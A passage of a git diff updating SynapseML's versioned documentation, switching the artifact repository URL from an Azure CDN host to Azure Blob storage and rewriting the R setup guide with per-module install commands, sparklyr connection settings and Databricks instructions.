numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.1.0/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.1.0/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.1.0/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.1.0/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.1.0/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.1.0/Explore Algorithms/Deep Learning/Getting Started.md index eb534b341b1..8f72919fa06 100644 --- a/website/versioned_docs/version-1.1.0/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.1.0/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.1.0 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.1.0 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.1.0/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.1.0/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index ac5de32e6ba..dff6eaab11a 100644 --- a/website/versioned_docs/version-1.1.0/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.1.0/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.1.0 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.1.0/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.1.0/Get Started/Install SynapseML.md index 61cd6265080..60580ccec5a 100644 --- a/website/versioned_docs/version-1.1.0/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.1.0/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.5 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.1.0", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.15", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -63,7 +63,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -81,7 +81,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 1.1.0 version for spark 3.5 and 1.0.15 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.1.0") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -92,7 +92,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 1.1.0 version for spark 3.5 and 1.0.15 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.1.0" ``` @@ -123,7 +123,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.1.0` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.1.0/Reference/Contributor Guide.md b/website/versioned_docs/version-1.1.0/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.1.0/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.1.0/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.1.0/Reference/R Setup.md b/website/versioned_docs/version-1.1.0/Reference/R Setup.md index bc6d94db62a..782bb788076 100644 --- a/website/versioned_docs/version-1.1.0/Reference/R Setup.md +++ b/website/versioned_docs/version-1.1.0/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.1.0.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.1.0.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.1.0.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.1.0.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.1.0.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.1.0.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.1.0.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.1.0" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.1.0` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.1.0 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.1.0.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.1.1/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.1.1/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.1.1/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.1.1/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.1.1/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.1.1/Explore Algorithms/Deep Learning/Getting Started.md index fa39cc804b9..b865a4ba983 100644 --- a/website/versioned_docs/version-1.1.1/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.1.1/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.1.1 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.1.1 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.1.1/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.1.1/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index ac5de32e6ba..dff6eaab11a 100644 --- a/website/versioned_docs/version-1.1.1/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.1.1/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.1.0 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.1.1/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.1.1/Get Started/Install SynapseML.md index 737dad2ea81..2ec9e2c4fe2 100644 --- a/website/versioned_docs/version-1.1.1/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.1.1/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.5 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.1.1", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.15", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -63,7 +63,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -81,7 +81,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 1.1.1 version for spark 3.5 and 1.0.15 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.1.1") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -92,7 +92,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 1.1.1 version for spark 3.5 and 1.0.15 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.1.1" ``` @@ -123,7 +123,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.1.1` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.1.1/Reference/Contributor Guide.md b/website/versioned_docs/version-1.1.1/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.1.1/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.1.1/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.1.1/Reference/R Setup.md b/website/versioned_docs/version-1.1.1/Reference/R Setup.md index 51d5bbf5d79..f593fa555ca 100644 --- a/website/versioned_docs/version-1.1.1/Reference/R Setup.md +++ b/website/versioned_docs/version-1.1.1/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.1.1.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.1.1.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.1.1.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.1.1.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.1.1.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.1.1.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.1.1.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.1.1" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.1.1` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.1.1 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.1.1.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, 